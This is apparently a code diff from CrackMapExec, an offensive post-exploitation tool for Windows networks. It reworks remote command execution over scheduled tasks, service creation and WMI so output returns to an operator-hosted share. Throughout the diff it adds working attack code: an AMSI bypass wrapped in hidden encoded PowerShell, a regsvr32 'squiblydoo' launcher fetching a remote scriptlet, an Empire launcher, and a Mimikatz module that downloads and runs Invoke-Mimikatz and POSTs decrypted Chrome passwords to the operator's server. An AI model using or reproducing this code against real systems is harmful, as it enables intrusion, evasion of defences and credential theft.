|
||||
try:
|
||||
self.doStuff(data, fileless=True)
|
||||
except:
|
||||
self.doStuff(data)
|
||||
else:
|
||||
self.doStuff(data)
|
||||
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
tmpName = gen_random_string(8)
|
||||
def gen_xml(self, command, tmpFileName, fileless=False):
|
||||
|
||||
xml = """<?xml version="1.0" encoding="UTF-16"?>
|
||||
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
|
||||
|
@ -92,66 +96,88 @@ class TSCH_EXEC:
|
|||
<Command>cmd.exe</Command>
|
||||
"""
|
||||
if self.__retOutput:
|
||||
tmpFileName = tmpName + '.tmp'
|
||||
xml+= """ <Arguments>/C {} > %windir%\\Temp\\{} 2>&1</Arguments>
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
||||
""".format(command, tmpFileName)
|
||||
if fileless:
|
||||
local_ip = self.__rpctransport.get_socket().getsockname()[0]
|
||||
argument_xml = " <Arguments>/C {} > \\\\{}\\{}\\{} 2>&1</Arguments>".format(command, local_ip, self.__share_name, tmpFileName)
|
||||
else:
|
||||
argument_xml = " <Arguments>/C {} > %windir%\\Temp\\{} 2>&1</Arguments>".format(command, tmpFileName)
|
||||
|
||||
elif self.__retOutput is False:
|
||||
xml+= """ <Arguments>/C {}</Arguments>
|
||||
argument_xml = " <Arguments>/C {}</Arguments>".format(command)
|
||||
|
||||
logging.debug('Generated argument XML: ' + argument_xml)
|
||||
xml += argument_xml
|
||||
|
||||
xml += """
|
||||
</Exec>
|
||||
</Actions>
|
||||
</Task>
|
||||
""".format(command)
|
||||
"""
|
||||
return xml
|
||||
|
||||
def doStuff(self, command, fileless=False):
|
||||
|
||||
dce = self.__rpctransport.get_dce_rpc()
|
||||
|
||||
dce.set_credentials(*self.__rpctransport.get_credentials())
|
||||
dce.connect()
|
||||
#dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
|
||||
dce.bind(tsch.MSRPC_UUID_TSCHS)
|
||||
tmpName = gen_random_string(8)
|
||||
tmpFileName = tmpName + '.tmp'
|
||||
|
||||
xml = self.gen_xml(command, tmpFileName, fileless)
|
||||
|
||||
#logging.info("Task XML: {}".format(xml))
|
||||
taskCreated = False
|
||||
#logging.info('Creating task \\%s' % tmpName)
|
||||
logging.info('Creating task \\%s' % tmpName)
|
||||
tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
|
||||
taskCreated = True
|
||||
|
||||
#logging.info('Running task \\%s' % tmpName)
|
||||
logging.info('Running task \\%s' % tmpName)
|
||||
tsch.hSchRpcRun(dce, '\\%s' % tmpName)
|
||||
|
||||
done = False
|
||||
while not done:
|
||||
#logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
|
||||
logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
|
||||
resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
|
||||
if resp['pLastRuntime']['wYear'] != 0:
|
||||
done = True
|
||||
else:
|
||||
sleep(2)
|
||||
|
||||
#logging.info('Deleting task \\%s' % tmpName)
|
||||
logging.info('Deleting task \\%s' % tmpName)
|
||||
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
||||
taskCreated = False
|
||||
|
||||
if taskCreated is True:
|
||||
tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
|
||||
|
||||
peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername()))
|
||||
#self.__logger.success('Executed command via ATEXEC')
|
||||
|
||||
if self.__retOutput:
|
||||
smbConnection = self.__rpctransport.get_smb_connection()
|
||||
while True:
|
||||
try:
|
||||
#logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if str(e).find('SHARING') > 0:
|
||||
sleep(3)
|
||||
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
||||
sleep(3)
|
||||
else:
|
||||
raise
|
||||
#logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
|
||||
else:
|
||||
pass
|
||||
#logging.info('Output retrieval disabled')
|
||||
if fileless:
|
||||
while True:
|
||||
try:
|
||||
with open(os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output:
|
||||
self.output_callback(output.read())
|
||||
break
|
||||
except IOError:
|
||||
sleep(2)
|
||||
else:
|
||||
peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername()))
|
||||
smbConnection = self.__rpctransport.get_smb_connection()
|
||||
while True:
|
||||
try:
|
||||
#logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if str(e).find('SHARING') > 0:
|
||||
sleep(3)
|
||||
elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
||||
sleep(3)
|
||||
else:
|
||||
raise
|
||||
#logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
|
||||
smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)
|
||||
|
||||
dce.disconnect()
|
|
@ -1,4 +1,5 @@
|
|||
import logging
|
||||
import os
|
||||
from gevent import sleep
|
||||
from impacket.dcerpc.v5 import transport, scmr
|
||||
from impacket.smbconnection import *
|
||||
|
@ -6,8 +7,9 @@ from cme.helpers import gen_random_string
|
|||
|
||||
class SMBEXEC:
|
||||
|
||||
def __init__(self, host, protocol, username = '', password = '', domain = '', hashes = None, share = None, port=445):
|
||||
def __init__(self, host, share_name, protocol, username = '', password = '', domain = '', hashes = None, share = None, port=445):
|
||||
self.__host = host
|
||||
self.__share_name = share_name
|
||||
self.__port = port
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
|
@ -59,52 +61,33 @@ class SMBEXEC:
|
|||
self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
|
||||
resp = scmr.hROpenSCManagerW(self.__scmr)
|
||||
self.__scHandle = resp['lpScHandle']
|
||||
self.transferClient = self.__rpctransport.get_smb_connection()
|
||||
|
||||
def execute(self, command, output=False):
|
||||
self.__retOutput = output
|
||||
if self.__retOutput:
|
||||
self.cd('')
|
||||
|
||||
self.execute_remote(command)
|
||||
self.execute_fileless(command)
|
||||
self.finish()
|
||||
return self.__outputBuffer
|
||||
|
||||
def cd(self, s):
|
||||
ret_state = self.__retOutput
|
||||
self.__retOutput = False
|
||||
self.execute_remote('cd ' )
|
||||
self.__retOutput = ret_state
|
||||
|
||||
def get_output(self):
|
||||
def output_callback(self, data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
if self.__retOutput is False:
|
||||
self.__outputBuffer = ''
|
||||
return
|
||||
|
||||
def output_callback(data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
while True:
|
||||
try:
|
||||
self.transferClient.getFile(self.__share, self.__output, output_callback)
|
||||
self.transferClient.deleteFile(self.__share, self.__output)
|
||||
break
|
||||
except Exception:
|
||||
sleep(2)
|
||||
|
||||
def execute_remote(self, data):
|
||||
self.__output = '\\Windows\\Temp\\' + gen_random_string()
|
||||
self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat'
|
||||
def execute_fileless(self, data):
|
||||
self.__output = gen_random_string(6)
|
||||
self.__batchFile = gen_random_string(6) + '.bat'
|
||||
local_ip = self.__rpctransport.get_socket().getsockname()[0]
|
||||
|
||||
if self.__retOutput:
|
||||
command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||
command = self.__shell + data + ' ^> \\\\{}\\{}\\{}'.format(local_ip, self.__share_name, self.__output)
|
||||
else:
|
||||
command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile
|
||||
|
||||
command += ' & ' + 'del ' + self.__batchFile
|
||||
command = self.__shell + data
|
||||
|
||||
logging.debug('Executing command: ' + command)
|
||||
with open(os.path.join('/tmp', 'cme_hosted', self.__batchFile), 'w') as batch_file:
|
||||
batch_file.write(command)
|
||||
|
||||
logging.debug('Hosting batch file with command: ' + command)
|
||||
|
||||
command = self.__shell + '\\\\{}\\{}\\{}'.format(local_ip,self.__share_name, self.__batchFile)
|
||||
logging.debug('Command to execute: ' + command)
|
||||
|
||||
resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command)
|
||||
service = resp['lpServiceHandle']
|
||||
|
@ -115,7 +98,18 @@ class SMBEXEC:
|
|||
pass
|
||||
scmr.hRDeleteService(self.__scmr, service)
|
||||
scmr.hRCloseServiceHandle(self.__scmr, service)
|
||||
self.get_output()
|
||||
self.get_output_fileless()
|
||||
|
||||
def get_output_fileless(self):
|
||||
if not self.__retOutput: return
|
||||
|
||||
while True:
|
||||
try:
|
||||
with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
|
||||
self.output_callback(output.read())
|
||||
break
|
||||
except IOError:
|
||||
sleep(2)
|
||||
|
||||
def finish(self):
|
||||
# Just in case the service is still created
|
||||
|
|
|
@ -1,4 +1,5 @@
|
|||
import ntpath, logging
|
||||
import os
|
||||
|
||||
from gevent import sleep
|
||||
from cme.helpers import gen_random_string
|
||||
|
@ -7,7 +8,7 @@ from impacket.dcerpc.v5.dcom import wmi
|
|||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
class WMIEXEC:
|
||||
def __init__(self, target, username, password, domain, smbconnection, hashes=None, share=None):
|
||||
def __init__(self, target, share_name, username, password, domain, smbconnection, hashes=None, share=None):
|
||||
self.__target = target
|
||||
self.__username = username
|
||||
self.__password = password
|
||||
|
@ -18,6 +19,7 @@ class WMIEXEC:
|
|||
self.__smbconnection = smbconnection
|
||||
self.__output = None
|
||||
self.__outputBuffer = ''
|
||||
self.__share_name = share_name
|
||||
self.__shell = 'cmd.exe /Q /c '
|
||||
self.__pwd = 'C:\\'
|
||||
self.__aesKey = None
|
||||
|
@ -46,9 +48,8 @@ class WMIEXEC:
|
|||
self.__retOutput = output
|
||||
if self.__retOutput:
|
||||
self.__smbconnection.setTimeout(100000)
|
||||
self.cd('\\')
|
||||
|
||||
self.execute_remote(command)
|
||||
self.execute_handler(command)
|
||||
self.__dcom.disconnect()
|
||||
return self.__outputBuffer
|
||||
|
||||
|
@ -62,7 +63,20 @@ class WMIEXEC:
|
|||
self.execute_remote('cd ')
|
||||
self.__pwd = self.__outputBuffer.strip('\r\n')
|
||||
self.__outputBuffer = ''
|
||||
|
||||
|
||||
def output_callback(self, data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
def execute_handler(self, data):
|
||||
if self.__retOutput:
|
||||
try:
|
||||
self.execute_fileless(data)
|
||||
except:
|
||||
self.cd('\\')
|
||||
self.execute_remote(data)
|
||||
else:
|
||||
self.execute_remote(data)
|
||||
|
||||
def execute_remote(self, data):
|
||||
self.__output = '\\Windows\\Temp\\' + gen_random_string(6)
|
||||
|
||||
|
@ -72,20 +86,35 @@ class WMIEXEC:
|
|||
|
||||
logging.debug('Executing command: ' + command)
|
||||
self.__win32Process.Create(command, self.__pwd, None)
|
||||
self.get_output()
|
||||
self.get_output_remote()
|
||||
|
||||
def get_output(self):
|
||||
def execute_fileless(self, data):
|
||||
self.__output = gen_random_string(6)
|
||||
local_ip = self.__smbconnection.getSMBServer().get_socket().getsockname()[0]
|
||||
|
||||
command = self.__shell + data + ' 1> \\\\{}\\{}\\{} 2>&1'.format(local_ip, self.__share_name, self.__output)
|
||||
|
||||
logging.debug('Executing command: ' + command)
|
||||
self.__win32Process.Create(command, self.__pwd, None)
|
||||
self.get_output_fileless()
|
||||
|
||||
def get_output_fileless(self):
|
||||
while True:
|
||||
try:
|
||||
with open(os.path.join('/tmp', 'cme_hosted', self.__output), 'r') as output:
|
||||
self.output_callback(output.read())
|
||||
break
|
||||
except IOError:
|
||||
sleep(2)
|
||||
|
||||
def get_output_remote(self):
|
||||
if self.__retOutput is False:
|
||||
self.__outputBuffer = ''
|
||||
return
|
||||
|
||||
def output_callback(data):
|
||||
self.__outputBuffer += data
|
||||
|
||||
while True:
|
||||
try:
|
||||
self.__smbconnection.getFile(self.__share, self.__output, output_callback)
|
||||
self.__smbconnection.getFile(self.__share, self.__output, self.output_callback)
|
||||
break
|
||||
except Exception as e:
|
||||
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
|
||||
|
@ -96,4 +125,4 @@ class WMIEXEC:
|
|||
#print str(e)
|
||||
pass
|
||||
|
||||
self.__smbconnection.deleteFile(self.__share, self.__output)
|
||||
self.__smbconnection.deleteFile(self.__share, self.__output)
|
|
@ -6,12 +6,16 @@ from subprocess import check_output, PIPE
|
|||
from sys import exit
|
||||
|
||||
CME_PATH = os.path.expanduser('~/.cme')
|
||||
TMP_PATH = os.path.join('/tmp', 'cme_hosted')
|
||||
DB_PATH = os.path.join(CME_PATH, 'cme.db')
|
||||
CERT_PATH = os.path.join(CME_PATH, 'cme.pem')
|
||||
CONFIG_PATH = os.path.join(CME_PATH, 'cme.conf')
|
||||
|
||||
def first_run_setup(logger):
|
||||
|
||||
if not os.path.exists(TMP_PATH):
|
||||
os.mkdir(TMP_PATH)
|
||||
|
||||
if not os.path.exists(CME_PATH):
|
||||
logger.info('First time use detected')
|
||||
logger.info('Creating home directory structure')
|
||||
|
|
|
@ -25,25 +25,18 @@ def write_log(data, log_name):
|
|||
with open(os.path.join(logs_dir, log_name), 'w') as mimikatz_output:
|
||||
mimikatz_output.write(data)
|
||||
|
||||
def obfs_ps_script(script, function_name=None):
|
||||
def obfs_ps_script(script):
|
||||
"""
|
||||
Strip block comments, line comments, empty lines, verbose statements,
|
||||
and debug statements from a PowerShell source file.
|
||||
|
||||
If the function_name paramater is passed, replace the main powershell function name with it
|
||||
"""
|
||||
if function_name:
|
||||
function_line = script.split('\n', 1)[0]
|
||||
if function_line.find('function') != -1:
|
||||
script = re.sub('-.*', '-{}\r'.format(function_name), script, count=1)
|
||||
|
||||
# strip block comments
|
||||
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '', script)
|
||||
# strip blank lines, lines starting with #, and verbose/debug statements
|
||||
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
|
||||
return strippedCode
|
||||
|
||||
def create_ps_command(ps_command, force_ps32=False):
|
||||
def create_ps_command(ps_command, force_ps32=False, nothidden=False):
|
||||
ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
|
||||
try{{
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
|
||||
|
@ -68,11 +61,17 @@ else
|
|||
IEX $exec
|
||||
|
||||
}}""".format(b64encode(ps_command.encode('UTF-16LE')))
|
||||
|
||||
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
||||
|
||||
if nothidden is True:
|
||||
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
||||
else:
|
||||
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
|
||||
|
||||
elif not force_ps32:
|
||||
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
|
||||
if nothidden is True:
|
||||
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
|
||||
else:
|
||||
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
|
||||
|
||||
return command
|
||||
|
||||
|
|
|
@ -0,0 +1,81 @@
|
|||
import imp
|
||||
import os
|
||||
import sys
|
||||
import cme
|
||||
from logging import getLogger
|
||||
from cme.context import Context
|
||||
from cme.logger import CMEAdapter
|
||||
from cme.cmechainserver import CMEChainServer
|
||||
from cme.moduleloader import ModuleLoader
|
||||
|
||||
class ModuleChainLoader(ModuleLoader):
|
||||
|
||||
def __init__(self, args, db, logger):
|
||||
ModuleLoader.__init__(self, args, db, logger)
|
||||
|
||||
self.chain_list = []
|
||||
|
||||
#This parses the chain command
|
||||
for module in self.args.module_chain.split('=>'):
|
||||
if '[' in module:
|
||||
module_name = module.split('[')[0]
|
||||
module_options = module.split('[')[1][:-1]
|
||||
|
||||
module_dict = {'name': module_name}
|
||||
|
||||
module_dict['options'] = {}
|
||||
for option in module_options.split(';;'):
|
||||
key, value = option.split('=', 1)
|
||||
if value[:1] == ('"' or "'") and value[-1:] == ('"' or "'"):
|
||||
value = value[1:-1]
|
||||
|
||||
module_dict['options'][str(key).upper()] = value
|
||||
|
||||
self.chain_list.append(module_dict)
|
||||
|
||||
else:
|
||||
module_dict = {'name': module}
|
||||
module_dict['options'] = {}
|
||||
|
||||
self.chain_list.append(module_dict)
|
||||
|
||||
def is_module_chain_sane(self):
|
||||
last_module = self.chain_list[-1]['name']
|
||||
|
||||
#Confirm that every chained module (except for the last one) actually supports chaining
|
||||
for module in self.chain_list:
|
||||
if module['name'] == last_module:
|
||||
continue
|
||||
|
||||
module_object = module['object']
|
||||
if getattr(module_object, 'chain_support') is not True:
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def init_module_chain(self):
|
||||
modules = self.get_modules()
|
||||
|
||||
#Initialize all modules specified in the chain command and add the objects to chain_list
|
||||
for chained_module in self.chain_list:
|
||||
for module in modules:
|
||||
if module.lower() == chained_module['name'].lower():
|
||||
chained_module['object'] = self.load_module(modules[module]['path'])
|
||||
|
||||
for module in self.chain_list:
|
||||
module_logger = CMEAdapter(getLogger('CME'), {'module': module['name'].upper()})
|
||||
context = Context(self.db, module_logger, self.args)
|
||||
|
||||
if module['object'] != self.chain_list[-1]['object']: module['options']['COMMAND'] = 'dont notice me senpai'
|
||||
getattr(module['object'], 'options')(context, module['options'])
|
||||
|
||||
if self.is_module_chain_sane():
|
||||
server_logger = CMEAdapter(getLogger('CME'), {'module': 'CMESERVER'})
|
||||
context = Context(self.db, server_logger, self.args)
|
||||
|
||||
|
||||
server = CMEChainServer(self.chain_list, context, self.logger, self.args.server_host, self.args.server_port, self.args.server)
|
||||
server.start()
|
||||
return self.chain_list, server
|
||||
|
||||
return None, None
|
|
@ -13,7 +13,6 @@ class ModuleLoader:
|
|||
self.args = args
|
||||
self.db = db
|
||||
self.logger = logger
|
||||
self.server_port = args.server_port
|
||||
self.cme_path = os.path.expanduser('~/.cme')
|
||||
|
||||
def module_is_sane(self, module, module_path):
|
||||
|
@ -25,12 +24,24 @@ class ModuleLoader:
|
|||
|
||||
elif not hasattr(module, 'description'):
|
||||
self.logger.error('{} missing the description variable'.format(module_path))
|
||||
module_error = True
|
||||
|
||||
elif not hasattr(module, 'chain_support'):
|
||||
self.logger.error('{} missing the chain_support variable'.format(module_path))
|
||||
module_error = True
|
||||
|
||||
elif not hasattr(module, 'options'):
|
||||
self.logger.error('{} missing the options function'.format(module_path))
|
||||
module_error = True
|
||||
|
||||
elif not hasattr(module, 'launcher'):
|
||||
self.logger.error('{} missing the launcher function'.format(module_path))
|
||||
module_error = True
|
||||
|
||||
elif not hasattr(module, 'payload'):
|
||||
self.logger.error('{} missing the payload function'.format(module_path))
|
||||
module_error = True
|
||||
|
||||
elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'):
|
||||
self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path))
|
||||
module_error = True
|
||||
|
@ -38,7 +49,7 @@ class ModuleLoader:
|
|||
if module_error: return False
|
||||
|
||||
return True
|
||||
|
||||
|
||||
def load_module(self, module_path):
|
||||
module = imp.load_source('payload_module', module_path).CMEModule()
|
||||
if self.module_is_sane(module, module_path):
|
||||
|
@ -57,7 +68,7 @@ class ModuleLoader:
|
|||
module_path = os.path.join(path, module)
|
||||
m = self.load_module(os.path.join(path, module))
|
||||
if m:
|
||||
modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__}
|
||||
modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__, 'chain_support': m.chain_support}
|
||||
|
||||
return modules
|
||||
|
||||
|
@ -84,12 +95,9 @@ class ModuleLoader:
|
|||
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
|
||||
|
||||
if hasattr(module, 'required_server'):
|
||||
args.server = getattr(module, 'required_server')
|
||||
self.args.server = getattr(module, 'required_server')
|
||||
|
||||
if not self.server_port:
|
||||
self. server_port = self.args.server_port
|
||||
|
||||
server = CMEServer(module, context, self.logger, self.args.server_host, self.server_port, self.args.server)
|
||||
server = CMEServer(module, context, self.logger, self.args.server_host, self.args.server_port, self.args.server)
|
||||
server.start()
|
||||
|
||||
return module, context, server
|
|
@ -5,7 +5,7 @@ import os
|
|||
class CMEModule:
|
||||
|
||||
'''
|
||||
Executes a command using a COM scriptlet to bypass whitelisting
|
||||
Executes a command using a COM scriptlet to bypass whitelisting (a.k.a squiblydoo)
|
||||
|
||||
Based on the awesome research by @subtee
|
||||
|
||||
|
@ -13,53 +13,49 @@ class CMEModule:
|
|||
http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html
|
||||
'''
|
||||
|
||||
name='com_exec'
|
||||
name='com_exec' #Really tempted just to call this squiblydoo
|
||||
|
||||
description = 'Executes a command using a COM scriptlet to bypass whitelisting'
|
||||
|
||||
required_server='http'
|
||||
|
||||
chain_support = True
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
CMD Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
||||
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
|
||||
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
|
||||
'''
|
||||
|
||||
if not 'CMD' in module_options and not 'CMDFILE' in module_options:
|
||||
context.log.error('CMD or CMDFILE options are required!')
|
||||
sys.exit(1)
|
||||
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
|
||||
context.log.error('COMMAND or CMDFILE options are required!')
|
||||
exit(1)
|
||||
|
||||
if 'CMD' in module_options and 'CMDFILE' in module_options:
|
||||
context.log.error('CMD and CMDFILE are mutually exclusive!')
|
||||
sys.exit(1)
|
||||
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
|
||||
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
|
||||
exit(1)
|
||||
|
||||
if 'CMD' in module_options:
|
||||
self.command = module_options['CMD']
|
||||
if 'COMMAND' in module_options:
|
||||
self.command = module_options['COMMAND']
|
||||
|
||||
elif 'CMDFILE' in module_options:
|
||||
path = os.path.expanduser(module_options['CMDFILE'])
|
||||
|
||||
if not os.path.exists(path):
|
||||
context.log.error('Path to CMDFILE invalid!')
|
||||
sys.exit(1)
|
||||
exit(1)
|
||||
|
||||
with open(path, 'r') as cmdfile:
|
||||
self.command = cmdfile.read().strip()
|
||||
|
||||
self.sct_name = gen_random_string(5)
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
|
||||
command = 'regsvr32.exe /u /n /s /i:http://{}/{}.sct scrobj.dll'.format(context.localip, self.sct_name)
|
||||
connection.execute(command)
|
||||
context.log.success('Executed command')
|
||||
|
||||
def on_request(self, context, request):
|
||||
if '{}.sct'.format(self.sct_name) in request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
com_script = '''<?XML version="1.0"?>
|
||||
def launcher(self, context, command):
|
||||
launcher = 'regsvr32.exe /u /n /s /i:http://{}/{}.sct scrobj.dll'.format(context.localip, self.sct_name)
|
||||
return launcher
|
||||
|
||||
def payload(self, context, command):
|
||||
payload = '''<?XML version="1.0"?>
|
||||
<scriptlet>
|
||||
<registration
|
||||
description="Win32COMDebug"
|
||||
|
@ -69,18 +65,31 @@ class CMEModule:
|
|||
>
|
||||
<script language="JScript">
|
||||
<![CDATA[
|
||||
var r = new ActiveXObject("WScript.Shell").Run("{}");
|
||||
var r = new ActiveXObject("WScript.Shell").Run('{}');
|
||||
]]>
|
||||
</script>
|
||||
</registration>
|
||||
<public>
|
||||
<method name="Exec"></method>
|
||||
</public>
|
||||
</scriptlet>'''.format(self.command)
|
||||
</scriptlet>'''.format(command)
|
||||
|
||||
request.wfile.write(com_script)
|
||||
context.log.debug('Generated payload:\n' + payload)
|
||||
|
||||
return payload
|
||||
|
||||
def on_admin_login(self, context, connection, launcher, payload):
|
||||
connection.execute(launcher)
|
||||
context.log.success('Executed squiblydoo')
|
||||
|
||||
def on_request(self, context, request, launcher, payload):
|
||||
if '{}.sct'.format(self.sct_name) in request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
||||
request.wfile.write(payload)
|
||||
request.stop_tracking_host()
|
||||
|
||||
else:
|
||||
request.send_response(404)
|
||||
request.end_headers()
|
||||
request.end_headers()
|
||||
|
|
|
@ -16,6 +16,8 @@ class CMEModule:
|
|||
|
||||
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
|
||||
|
||||
chain_support = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
LISTENER Listener name to generate the launcher for
|
||||
|
@ -54,7 +56,12 @@ class CMEModule:
|
|||
context.log.error("Unable to connect to Empire's RESTful API: {}".format(e))
|
||||
sys.exit(1)
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.empire_launcher:
|
||||
connection.execute(self.empire_launcher)
|
||||
context.log.success('Executed Empire Launcher')
|
||||
def launcher(self, context, command):
|
||||
return self.empire_launcher
|
||||
|
||||
def payload(self, context, command):
|
||||
return
|
||||
|
||||
def on_admin_login(self, context, connection, launcher, payload):
|
||||
connection.execute(launcher)
|
||||
context.log.success('Executed Empire Launcher')
|
|
@ -1,4 +1,4 @@
|
|||
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, gen_random_string, validate_ntlm, write_log
|
||||
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, validate_ntlm, write_log
|
||||
from datetime import datetime
|
||||
from StringIO import StringIO
|
||||
import re
|
||||
|
@ -13,13 +13,14 @@ class CMEModule:
|
|||
|
||||
description = "Uses Powersploit's Invoke-Mimikatz.ps1 script to decrypt saved Chrome passwords"
|
||||
|
||||
chain_support = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
'''
|
||||
'''
|
||||
return
|
||||
|
||||
self.obfs_name = gen_random_string()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
def launcher(self, context, command):
|
||||
|
||||
'''
|
||||
Oook.. Think my heads going to explode
|
||||
|
@ -30,7 +31,7 @@ class CMEModule:
|
|||
As far as I can figure out there is no way around this, hence we have to first copy Chrome's database to a path without any spaces and then decrypt the entries with Mimikatz
|
||||
'''
|
||||
|
||||
payload = '''
|
||||
launcher = '''
|
||||
$cmd = "privilege::debug sekurlsa::dpapi"
|
||||
$userdirs = get-childitem "$Env:SystemDrive\Users"
|
||||
foreach ($dir in $userdirs) {{
|
||||
|
@ -47,7 +48,7 @@ class CMEModule:
|
|||
$cmd = $cmd + " exit"
|
||||
|
||||
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
|
||||
$creds = Invoke-{func_name} -Command $cmd;
|
||||
$creds = Invoke-Mimikatz -Command $cmd;
|
||||
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
|
||||
$request.Method = 'POST';
|
||||
$request.ContentType = 'application/x-www-form-urlencoded';
|
||||
|
@ -58,15 +59,19 @@ class CMEModule:
|
|||
$requestStream.Close();
|
||||
$request.GetResponse();'''.format(server=context.server,
|
||||
port=context.server_port,
|
||||
addr=context.localip,
|
||||
func_name=self.obfs_name)
|
||||
addr=context.localip)
|
||||
|
||||
context.log.debug('Payload: {}'.format(payload))
|
||||
payload = create_ps_command(payload)
|
||||
connection.execute(payload, methods=['atexec', 'smbexec'])
|
||||
context.log.success('Executed payload')
|
||||
return create_ps_command(launcher)
|
||||
|
||||
def on_request(self, context, request):
|
||||
def payload(self, context, command):
|
||||
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
|
||||
return obfs_ps_script(ps_script.read())
|
||||
|
||||
def on_admin_login(self, context, connection, launcher, payload):
|
||||
connection.execute(launcher, methods=['atexec', 'smbexec'])
|
||||
context.log.success('Executed launcher')
|
||||
|
||||
def on_request(self, context, request, launcher, payload):
|
||||
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
|
||||
request.send_response(200)
|
||||
request.end_headers()
|
||||
|
@ -79,9 +84,7 @@ class CMEModule:
|
|||
Here we call the updated PowerShell script instead of PowerSploits version
|
||||
'''
|
||||
|
||||
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
|
||||
ps_script = obfs_ps_script(ps_script.read(), self.obfs_name)
|
||||
request.wfile.write(ps_script)
|
||||
request.wfile.write(payload)
|
||||
|
||||
else:
|
||||
request.send_response(404)
|
||||
|
|
|
@ -0,0 +1,76 @@
|
|||
from cme.helpers import create_ps_command, get_ps_script
|
||||
